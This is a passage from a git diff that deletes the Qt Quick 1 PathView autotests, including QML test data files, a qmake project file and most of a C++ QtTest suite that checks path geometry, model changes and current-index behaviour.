"wrapper" - height: root.delegateHeight - width: root.delegateWidth - scale: root.delegateScale - color: PathView.isCurrentItem ? "lightsteelblue" : "white" - border.color: "black" - Text { - text: index - } - Text { - x: 20 - id: textName - objectName: "textName" - text: name - } - Text { - x: 40 - id: textNumber - objectName: "textNumber" - text: number - } - PathView.onCurrentItemChanged: { - if (PathView.isCurrentItem) { - root.currentA = index; - root.currentB = wrapper.PathView.view.currentIndex; - } - } - } - } - ] - PathView { - id: view - objectName: "view" - width: 240 - height: 320 - model: testModel - delegate: delegate - highlight: Rectangle { - width: 60 - height: 20 - color: "yellow" - } - path: Path { - startY: 120 - startX: 160 - PathQuad { - y: 120 - x: 80 - controlY: 330 - controlX: 100 - } - PathLine { - y: 160 - x: 20 - } - PathCubic { - y: 120 - x: 160 - control1Y: 0 - control1X: 100 - control2Y: 000 - control2X: 200 - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathview1.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathview1.qml deleted file mode 100644 index d1ac5171db..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathview1.qml +++ /dev/null @@ -1,4 +0,0 @@ -import QtQuick 1.0 - -PathView { -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathview2.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathview2.qml deleted file mode 100644 index 1e1e893a9c..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathview2.qml +++ /dev/null @@ -1,57 +0,0 @@ -import QtQuick 1.0 - -PathView { - id: photoPathView - y: 100; width: 800; height: 330; pathItemCount: 10; z: 1 - - path: Path { - startX: -50; startY: 40; - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: -45 } - - PathCubic { - x: 400; y: 220 - control1X: 140; control1Y: 40 - control2X: 210; control2Y: 220 - } - - PathAttribute { name: "scale"; value: 1.2 } - PathAttribute { name: "angle"; value: 0 } - - PathCubic { - x: 850; y: 40 - control2X: 660; control2Y: 40 - control1X: 590; control1Y: 220 - } - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: 45 } - } - - model: ListModel { - id: rssModel - ListElement { lColor: "red" } - ListElement { lColor: "green" } - ListElement { lColor: "yellow" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "gray" } - ListElement { lColor: "brown" } - ListElement { lColor: "thistle" } - } - - delegate: Component { - id: photoDelegate - Rectangle { - id: wrapper - width: 85; height: 85; color: lColor - scale: wrapper.PathView.scale - - transform: Rotation { - id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 - axis.y: 1; axis.z: 0; angle: wrapper.PathView.angle - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathview3.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathview3.qml deleted file mode 100644 index cd1ba0375d..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathview3.qml +++ /dev/null @@ -1,59 +0,0 @@ -import QtQuick 1.0 - -PathView { - id: photoPathView - y: 100; width: 800; height: 330; pathItemCount: 4; offset: 1 - dragMargin: 24 - preferredHighlightBegin: 0.50 - preferredHighlightEnd: 0.50 - - path: Path { - startX: -50; startY: 40; - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: -45 } - - PathCubic { - x: 400; y: 220 - control1X: 140; control1Y: 40 - control2X: 210; control2Y: 220 - } - - PathAttribute { name: "scale"; value: 1.2 } - PathAttribute { name: "angle"; value: 0 } - - PathCubic { - x: 850; y: 40 - control2X: 660; control2Y: 40 - control1X: 590; control1Y: 220 - } - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: 45 } - } - - model: ListModel { - id: rssModel - ListElement { lColor: "red" } - ListElement { lColor: "green" } - ListElement { lColor: "yellow" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "gray" } - ListElement { lColor: "brown" } - ListElement { lColor: "thistle" } - } - - delegate: Component { - id: photoDelegate - Rectangle { - id: wrapper - width: 85; height: 85; color: lColor - - transform: Rotation { - id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 - axis.y: 1; axis.z: 0 - } - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/pathview_package.qml b/tests/auto/qtquick1/qdeclarativepathview/data/pathview_package.qml deleted file mode 100644 index f9157bddeb..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/pathview_package.qml +++ /dev/null @@ -1,88 +0,0 @@ -import QtQuick 1.0 - -Item { - width: 800; height: 600 - Component { - id: photoDelegate - Package { - Item { id: pathItem; objectName: "pathItem"; Package.name: 'path'; width: 85; height: 85; scale: pathItem.PathView.scale } - Item { id: linearItem; Package.name: 'linear'; width: 85; height: 85 } - Rectangle { - id: wrapper - width: 85; height: 85; color: lColor - - transform: Rotation { - id: itemRotation; origin.x: wrapper.width/2; origin.y: wrapper.height/2 - axis.y: 1; axis.z: 0 - } - state: 'path' - states: [ - State { - name: 'path' - ParentChange { target: wrapper; parent: pathItem; x: 0; y: 0 } - PropertyChanges { target: wrapper; opacity: pathItem.PathView.onPath ? 1.0 : 0 } - } - ] - } - } - } - ListModel { - id: rssModel - ListElement { lColor: "red" } - ListElement { lColor: "green" } - ListElement { lColor: "yellow" } - ListElement { lColor: "blue" } - ListElement { lColor: "purple" } - ListElement { lColor: "gray" } - ListElement { lColor: "brown" } - ListElement { lColor: "thistle" } - } - VisualDataModel { id: visualModel; model: rssModel; delegate: photoDelegate } - - PathView { - id: photoPathView - objectName: "photoPathView" - width: 800; height: 330; pathItemCount: 4; offset: 1 - dragMargin: 24 - preferredHighlightBegin: 0.50 - preferredHighlightEnd: 0.50 - - path: Path { - startX: -50; startY: 40; - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: -45 } - - PathCubic { - x: 400; y: 220 - control1X: 140; control1Y: 40 - control2X: 210; control2Y: 220 - } - - PathAttribute { name: "scale"; value: 1.2 } - PathAttribute { name: "angle"; value: 0 } - - PathCubic { - x: 850; y: 40 - control2X: 660; control2Y: 40 - control1X: 590; control1Y: 220 - } - - PathAttribute { name: "scale"; value: 0.5 } - PathAttribute { name: "angle"; value: 45 } - } - - model: visualModel.parts.path - } - - PathView { - y: 400; width: 800; height: 330; pathItemCount: 8 - - path: Path { - startX: 0; startY: 40; - PathLine { x: 800; y: 40 } - } - - model: visualModel.parts.linear - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/propertychanges.qml b/tests/auto/qtquick1/qdeclarativepathview/data/propertychanges.qml deleted file mode 100644 index c0cc8555e7..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/propertychanges.qml +++ /dev/null @@ -1,116 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 350; height: 220; color: "white" - Component { - id: myDelegate - Item { - id: wrapper - width: 180; height: 40; - opacity: PathView.opacity - Column { - x: 5; y: 5 - Text { text: 'Name: ' + name } - Text { text: 'Number: ' + number } - } - } - } - - PathView { - preferredHighlightBegin: 0.1 - preferredHighlightEnd: 0.1 - dragMargin: 5.0 - id: pathView - objectName: "pathView" - anchors.fill: parent - model: listModel - delegate: myDelegate - focus: true - path: Path { - id: myPath - objectName: "path" - startX: 220; startY: 200 - PathAttribute { name: "opacity"; value: 1.0; objectName: "pathAttribute"; } - PathQuad { x: 220; y: 25; controlX: 260; controlY: 75 } - PathAttribute { name: "opacity"; value: 0.3 } - PathQuad { x: 220; y: 200; controlX: -20; controlY: 75 } - } - Timer { - interval: 2000; running: true; repeat: true - onTriggered: { - if (pathView.path == alternatePath) - pathView.path = myPath; - else - pathView.path = alternatePath; - } - } - } - - data:[ - ListModel { - id: listModel - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - ListElement { - name: "Bill Smith" - number: "555 3264" - } - ListElement { - name: "John Brown" - number: "555 8426" - } - ListElement { - name: "Sam Wise" - number: "555 0473" - } - }, - ListModel { - objectName: "alternateModel" - ListElement { - name: "Jack" - number: "555 8426" - } - ListElement { - name: "Mary" - number: "555 3264" - } - }, - Path { - id: alternatePath - objectName: "alternatePath" - startX: 100; startY: 40 - PathAttribute { name: "opacity"; value: 0.0 } - PathLine { x: 100; y: 160 } - PathAttribute { name: "opacity"; value: 0.2 } - PathLine { x: 300; y: 160 } - PathAttribute { name: "opacity"; value: 0.0 } - PathLine { x: 300; y: 40 } - PathAttribute { name: "opacity"; value: 0.2 } - PathLine { x: 100; y: 40 } - } - ] -} - - diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/treemodel.qml b/tests/auto/qtquick1/qdeclarativepathview/data/treemodel.qml deleted file mode 100644 index 56f7ae46da..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/treemodel.qml +++ /dev/null @@ -1,19 +0,0 @@ -import QtQuick 1.0 - -PathView { - width: 320 - height: 240 - function setRoot(index) { - vdm.rootIndex = vdm.modelIndex(index); - } - model: VisualDataModel { - id: vdm - model: myModel - delegate: Text { objectName: "wrapper"; text: display } - } - - path: Path { - startX: 0; startY: 120 - PathLine { x: 320; y: 120 } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/undefinedpath.qml b/tests/auto/qtquick1/qdeclarativepathview/data/undefinedpath.qml deleted file mode 100644 index 5a647cb079..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/undefinedpath.qml +++ /dev/null @@ -1,17 +0,0 @@ -import QtQuick 1.0 - -PathView { - id: pathView - width: 240; height: 200 - path: Path { - startX: pathView.undef/2.0; startY: 0 - PathLine { x: pathView.undef/2.0; y: 0 } - } - - delegate: Text { text: value } - model: ListModel { - ListElement { value: "one" } - ListElement { value: "two" } - ListElement { value: "three" } - } -} diff --git a/tests/auto/qtquick1/qdeclarativepathview/data/vdm.qml b/tests/auto/qtquick1/qdeclarativepathview/data/vdm.qml deleted file mode 100644 index 012db3fb57..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/data/vdm.qml +++ /dev/null @@ -1,28 +0,0 @@ -import QtQuick 1.0 - -PathView { - id: pathView - width: 240; height: 320 - - pathItemCount: 4 - preferredHighlightBegin : 0.5 - preferredHighlightEnd : 0.5 - - path: Path { - startX: 120; startY: 20; - PathLine { x: 120; y: 300 } - } - - ListModel { - id: mo - ListElement { value: "one" } - ListElement { value: "two" } - ListElement { value: "three" } - } - - model: VisualDataModel { - delegate: Text { text: model.value } - model : mo - } -} - diff --git a/tests/auto/qtquick1/qdeclarativepathview/qdeclarativepathview.pro b/tests/auto/qtquick1/qdeclarativepathview/qdeclarativepathview.pro deleted file mode 100644 index cf5cf64d01..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/qdeclarativepathview.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativepathview -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativepathview.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativepathview/tst_qdeclarativepathview.cpp b/tests/auto/qtquick1/qdeclarativepathview/tst_qdeclarativepathview.cpp deleted file mode 100644 index 470ceca5fe..0000000000 --- a/tests/auto/qtquick1/qdeclarativepathview/tst_qdeclarativepathview.cpp +++ /dev/null @@ -1,1061 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static void initStandardTreeModel(QStandardItemModel *model) -{ - QStandardItem *item; - item = new QStandardItem(QLatin1String("Row 1 Item")); - model->insertRow(0, item); - - item = new QStandardItem(QLatin1String("Row 2 Item")); - item->setCheckable(true); - model->insertRow(1, item); - - QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item")); - item->setChild(0, childItem); - - item = new QStandardItem(QLatin1String("Row 3 Item")); - item->setIcon(QIcon()); - model->insertRow(2, item); -} - - -class tst_QDeclarative1PathView : public QObject -{ - Q_OBJECT -public: - tst_QDeclarative1PathView(); - -private slots: - void initValues(); - void items(); - void dataModel(); - void pathview2(); - void pathview3(); - void path(); - void pathMoved(); - void setCurrentIndex(); - void resetModel(); - void propertyChanges(); - void pathChanges(); - void componentChanges(); - void modelChanges(); - void pathUpdateOnStartChanged(); - void package(); - void emptyModel(); - void closed(); - void pathUpdate(); - void visualDataModel(); - void undefinedPath(); - void mouseDrag(); - void treeModel(); - void changePreferredHighlight(); - -private: - QDeclarativeView *createView(); - template - T *findItem(QGraphicsObject *parent, const QString &objectName, int index=-1); - template - QList findItems(QGraphicsObject *parent, const QString &objectName); -}; - -class TestObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(bool error READ error WRITE setError) - Q_PROPERTY(bool useModel READ useModel NOTIFY useModelChanged) - Q_PROPERTY(int pathItemCount READ pathItemCount NOTIFY pathItemCountChanged) - -public: - TestObject() : QObject(), mError(true), mUseModel(true), mPathItemCount(-1) {} - - bool error() const { return mError; } - void setError(bool err) { mError = err; } - - bool useModel() const { return mUseModel; } - void setUseModel(bool use) { mUseModel = use; emit useModelChanged(); } - - int pathItemCount() const { return mPathItemCount; } - void setPathItemCount(int count) { mPathItemCount = count; emit pathItemCountChanged(); } - -signals: - void useModelChanged(); - void pathItemCountChanged(); - -private: - bool mError; - bool mUseModel; - int mPathItemCount; -}; - -class TestModel : public QAbstractListModel -{ -public: - enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 }; - - TestModel(QObject *parent=0) : QAbstractListModel(parent) { - QHash roles; - roles[Name] = "name"; - roles[Number] = "number"; - setRoleNames(roles); - } - - int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); } - QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const { - QVariant rv; - if (role == Name) - rv = list.at(index.row()).first; - else if (role == Number) - rv = list.at(index.row()).second; - - return rv; - } - - int count() const { return rowCount(); } - QString name(int index) const { return list.at(index).first; } - QString number(int index) const { return list.at(index).second; } - - void addItem(const QString &name, const QString &number) { - beginInsertRows(QModelIndex(), list.count(), list.count()); - list.append(QPair(name, number)); - endInsertRows(); - } - - void insertItem(int index, const QString &name, const QString &number) { - beginInsertRows(QModelIndex(), index, index); - list.insert(index, QPair(name, number)); - endInsertRows(); - } - - void removeItem(int index) { - beginRemoveRows(QModelIndex(), index, index); - list.removeAt(index); - endRemoveRows(); - } - - void moveItem(int from, int to) { - beginMoveRows(QModelIndex(), from, from, QModelIndex(), to); - list.move(from, to); - endMoveRows(); - } - - void modifyItem(int idx, const QString &name, const QString &number) { - list[idx] = QPair(name, number); - emit dataChanged(index(idx,0), index(idx,0)); - } - -private: - QList > list; -}; - - -tst_QDeclarative1PathView::tst_QDeclarative1PathView() -{ -} - -void tst_QDeclarative1PathView::initValues() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview1.qml")); - QDeclarative1PathView *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QVERIFY(obj->path() == 0); - QVERIFY(obj->delegate() == 0); - QCOMPARE(obj->model(), QVariant()); - QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 0.); - QCOMPARE(obj->preferredHighlightBegin(), 0.); - QCOMPARE(obj->dragMargin(), 0.); - QCOMPARE(obj->count(), 0); - QCOMPARE(obj->pathItemCount(), -1); -} - -void tst_QDeclarative1PathView::items() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Bill", "4321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = findItem(canvas->rootObject(), "view"); - QVERIFY(pathview != 0); - - QCOMPARE(pathview->count(), model.count()); - QCOMPARE(canvas->rootObject()->property("count").toInt(), model.count()); - QCOMPARE(pathview->childItems().count(), model.count()+1); // assumes all are visible, including highlight - - for (int i = 0; i < model.count(); ++i) { - QDeclarative1Text *name = findItem(pathview, "textName", i); - QVERIFY(name != 0); - QCOMPARE(name->text(), model.name(i)); - QDeclarative1Text *number = findItem(pathview, "textNumber", i); - QVERIFY(number != 0); - QCOMPARE(number->text(), model.number(i)); - } - - QDeclarative1Path *path = qobject_cast(pathview->path()); - QVERIFY(path); - - QVERIFY(pathview->highlightItem()); - QPointF start = path->pointAt(0.0); - QPointF offset; - offset.setX(pathview->highlightItem()->width()/2); - offset.setY(pathview->highlightItem()->height()/2); - QCOMPARE(pathview->highlightItem()->pos() + offset, start); - - delete canvas; -} - -void tst_QDeclarative1PathView::pathview2() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview2.qml")); - QDeclarative1PathView *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QVERIFY(obj->path() != 0); - QVERIFY(obj->delegate() != 0); - QVERIFY(obj->model() != QVariant()); - QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 0.); - QCOMPARE(obj->preferredHighlightBegin(), 0.); - QCOMPARE(obj->dragMargin(), 0.); - QCOMPARE(obj->count(), 8); - QCOMPARE(obj->pathItemCount(), 10); -} - -void tst_QDeclarative1PathView::pathview3() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathview3.qml")); - QDeclarative1PathView *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QVERIFY(obj->path() != 0); - QVERIFY(obj->delegate() != 0); - QVERIFY(obj->model() != QVariant()); - QCOMPARE(obj->currentIndex(), 0); - QCOMPARE(obj->offset(), 1.0); - QCOMPARE(obj->preferredHighlightBegin(), 0.5); - QCOMPARE(obj->dragMargin(), 24.); - QCOMPARE(obj->count(), 8); - QCOMPARE(obj->pathItemCount(), 4); -} - -void tst_QDeclarative1PathView::path() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/pathtest.qml")); - QDeclarative1Path *obj = qobject_cast(c.create()); - - QVERIFY(obj != 0); - QCOMPARE(obj->startX(), 120.); - QCOMPARE(obj->startY(), 100.); - QVERIFY(obj->path() != QPainterPath()); - - QDeclarativeListReference list(obj, "pathElements"); - QCOMPARE(list.count(), 5); - - QDeclarative1PathAttribute* attr = qobject_cast(list.at(0)); - QVERIFY(attr != 0); - QCOMPARE(attr->name(), QString("scale")); - QCOMPARE(attr->value(), 1.0); - - QDeclarative1PathQuad* quad = qobject_cast(list.at(1)); - QVERIFY(quad != 0); - QCOMPARE(quad->x(), 120.); - QCOMPARE(quad->y(), 25.); - QCOMPARE(quad->controlX(), 260.); - QCOMPARE(quad->controlY(), 75.); - - QDeclarative1PathPercent* perc = qobject_cast(list.at(2)); - QVERIFY(perc != 0); - QCOMPARE(perc->value(), 0.3); - - QDeclarative1PathLine* line = qobject_cast(list.at(3)); - QVERIFY(line != 0); - QCOMPARE(line->x(), 120.); - QCOMPARE(line->y(), 100.); - - QDeclarative1PathCubic* cubic = qobject_cast(list.at(4)); - QVERIFY(cubic != 0); - QCOMPARE(cubic->x(), 180.); - QCOMPARE(cubic->y(), 0.); - QCOMPARE(cubic->control1X(), -10.); - QCOMPARE(cubic->control1Y(), 90.); - QCOMPARE(cubic->control2X(), 210.); - QCOMPARE(cubic->control2Y(), 90.); -} - -void tst_QDeclarative1PathView::dataModel() -{ - QDeclarativeView *canvas = createView(); - - QDeclarativeContext *ctxt = canvas->rootContext(); - TestObject *testObject = new TestObject; - ctxt->setContextProperty("testObject", testObject); - - TestModel model; - model.addItem("red", "1"); - model.addItem("green", "2"); - model.addItem("blue", "3"); - model.addItem("purple", "4"); - model.addItem("gray", "5"); - model.addItem("brown", "6"); - model.addItem("yellow", "7"); - model.addItem("thistle", "8"); - model.addItem("cyan", "9"); - model.addItem("peachpuff", "10"); - model.addItem("powderblue", "11"); - model.addItem("gold", "12"); - model.addItem("sandybrown", "13"); - - ctxt->setContextProperty("testData", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/datamodel.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = qobject_cast(canvas->rootObject()); - QVERIFY(pathview != 0); - - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QVERIFY(testObject->error() == false); - - QDeclarativeItem *item = findItem(pathview, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->x(), 110.0); - QCOMPARE(item->y(), 10.0); - - model.insertItem(4, "orange", "10"); - QTest::qWait(100); - - QCOMPARE(canvas->rootObject()->property("viewCount").toInt(), model.count()); - QTRY_COMPARE(findItems(pathview, "wrapper").count(), 14); - - QVERIFY(pathview->currentIndex() == 0); - - QDeclarative1Text *text = findItem(pathview, "myText", 4); - QVERIFY(text); - QCOMPARE(text->text(), model.name(4)); - - model.removeItem(2); - QCOMPARE(canvas->rootObject()->property("viewCount").toInt(), model.count()); - text = findItem(pathview, "myText", 2); - QVERIFY(text); - QCOMPARE(text->text(), model.name(2)); - - testObject->setPathItemCount(5); - QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties"); - QVERIFY(testObject->error() == false); - - QTRY_COMPARE(findItems(pathview, "wrapper").count(), 5); - - QDeclarative1Rectangle *testItem = findItem(pathview, "wrapper", 4); - QVERIFY(testItem != 0); - testItem = findItem(pathview, "wrapper", 5); - QVERIFY(testItem == 0); - - pathview->setCurrentIndex(1); - - model.insertItem(2, "pink", "2"); - QTest::qWait(100); - - QTRY_COMPARE(findItems(pathview, "wrapper").count(), 5); - QVERIFY(pathview->currentIndex() == 1); - - text = findItem(pathview, "myText", 2); - QVERIFY(text); - QCOMPARE(text->text(), model.name(2)); - - model.removeItem(3); - QTRY_COMPARE(findItems(pathview, "wrapper").count(), 5); - text = findItem(pathview, "myText", 3); - QVERIFY(text); - QCOMPARE(text->text(), model.name(3)); - - model.moveItem(3, 5); - QTRY_COMPARE(findItems(pathview, "wrapper").count(), 5); - QList items = findItems(pathview, "wrapper"); - foreach (QDeclarativeItem *item, items) { - QVERIFY(item->property("onPath").toBool()); - } - - // QTBUG-14199 - pathview->setOffset(7); - pathview->setOffset(0); - QCOMPARE(findItems(pathview, "wrapper").count(), 5); - - pathview->setCurrentIndex(model.count()-1); - model.removeItem(model.count()-1); - QCOMPARE(pathview->currentIndex(), model.count()-1); - - // QTBUG-18825 - // Confirm that the target offset is adjusted when removing items - pathview->setCurrentIndex(model.count()-1); - QTRY_COMPARE(pathview->offset(), 1.); - pathview->setCurrentIndex(model.count()-5); - model.removeItem(model.count()-1); - model.removeItem(model.count()-1); - model.removeItem(model.count()-1); - QTRY_COMPARE(pathview->offset(), 2.); - - delete canvas; - delete testObject; -} - -void tst_QDeclarative1PathView::pathMoved() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Ben", "12345"); - model.addItem("Bohn", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Bill", "4321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = findItem(canvas->rootObject(), "view"); - QVERIFY(pathview != 0); - - QDeclarative1Rectangle *firstItem = findItem(pathview, "wrapper", 0); - QVERIFY(firstItem); - QDeclarative1Path *path = qobject_cast(pathview->path()); - QVERIFY(path); - QPointF start = path->pointAt(0.0); - QPointF offset;//Center of item is at point, but pos is from corner - offset.setX(firstItem->width()/2); - offset.setY(firstItem->height()/2); - QCOMPARE(firstItem->pos() + offset, start); - pathview->setOffset(1.0); - - for(int i=0; i(pathview, "wrapper", i); - QPointF itemPos(path->pointAt(0.25 + i*0.25)); - QCOMPARE(curItem->pos() + offset, QPointF(qRound(itemPos.x()), qRound(itemPos.y()))); - } - - pathview->setOffset(0.0); - QCOMPARE(firstItem->pos() + offset, start); - - // Change delegate size - pathview->setOffset(0.1); - pathview->setOffset(0.0); - canvas->rootObject()->setProperty("delegateWidth", 30); - QCOMPARE(firstItem->width(), 30.0); - offset.setX(firstItem->width()/2); - QTRY_COMPARE(firstItem->pos() + offset, start); - - // Change delegate scale - pathview->setOffset(0.1); - pathview->setOffset(0.0); - canvas->rootObject()->setProperty("delegateScale", 1.2); - QTRY_COMPARE(firstItem->pos() + offset, start); - - delete canvas; -} - -void tst_QDeclarative1PathView::setCurrentIndex() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Ben", "12345"); - model.addItem("Bohn", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Bill", "4321"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/pathview0.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = findItem(canvas->rootObject(), "view"); - QVERIFY(pathview != 0); - - QDeclarative1Rectangle *firstItem = findItem(pathview, "wrapper", 0); - QVERIFY(firstItem); - QDeclarative1Path *path = qobject_cast(pathview->path()); - QVERIFY(path); - QPointF start = path->pointAt(0.0); - QPointF offset;//Center of item is at point, but pos is from corner - offset.setX(firstItem->width()/2); - offset.setY(firstItem->height()/2); - QCOMPARE(firstItem->pos() + offset, start); - QCOMPARE(canvas->rootObject()->property("currentA").toInt(), 0); - QCOMPARE(canvas->rootObject()->property("currentB").toInt(), 0); - - pathview->setCurrentIndex(2); - - firstItem = findItem(pathview, "wrapper", 2); - QTRY_COMPARE(firstItem->pos() + offset, start); - QCOMPARE(canvas->rootObject()->property("currentA").toInt(), 2); - QCOMPARE(canvas->rootObject()->property("currentB").toInt(), 2); - - pathview->decrementCurrentIndex(); - QTRY_COMPARE(pathview->currentIndex(), 1); - firstItem = findItem(pathview, "wrapper", 1); - QVERIFY(firstItem); - QTRY_COMPARE(firstItem->pos() + offset, start); - - pathview->decrementCurrentIndex(); - QTRY_COMPARE(pathview->currentIndex(), 0); - firstItem = findItem(pathview, "wrapper", 0); - QVERIFY(firstItem); - QTRY_COMPARE(firstItem->pos() + offset, start); - - pathview->decrementCurrentIndex(); - QTRY_COMPARE(pathview->currentIndex(), 3); - firstItem = findItem(pathview, "wrapper", 3); - QVERIFY(firstItem); - QTRY_COMPARE(firstItem->pos() + offset, start); - - pathview->incrementCurrentIndex(); - QTRY_COMPARE(pathview->currentIndex(), 0); - firstItem = findItem(pathview, "wrapper", 0); - QVERIFY(firstItem); - QTRY_COMPARE(firstItem->pos() + offset, start); - - delete canvas; -} - -void tst_QDeclarative1PathView::resetModel() -{ - QDeclarativeView *canvas = createView(); - - QStringList strings; - strings << "one" << "two" << "three"; - QStringListModel model(strings); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/displaypath.qml")); - qApp->processEvents(); - - QDeclarative1PathView *pathview = findItem(canvas->rootObject(), "view"); - QVERIFY(pathview != 0); - - QCOMPARE(pathview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(pathview, "displayText", i); - QVERIFY(display != 0); - QCOMPARE(display->text(), strings.at(i)); - } - - strings.clear(); - strings << "four" << "five" << "six" << "seven"; - model.setStringList(strings); - - QCOMPARE(pathview->count(), model.rowCount()); - - for (int i = 0; i < model.rowCount(); ++i) { - QDeclarative1Text *display = findItem(pathview, "displayText", i); - QVERIFY(display != 0); - QCOMPARE(display->text(), strings.at(i)); - } - - delete canvas; -} - -void tst_QDeclarative1PathView::propertyChanges() -{ - QDeclarativeView *canvas = createView(); - QVERIFY(canvas); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml")); - - QDeclarative1PathView *pathView = canvas->rootObject()->findChild("pathView"); - QVERIFY(pathView); - - QSignalSpy snapPositionSpy(pathView, SIGNAL(preferredHighlightBeginChanged())); - QSignalSpy dragMarginSpy(pathView, SIGNAL(dragMarginChanged())); - - 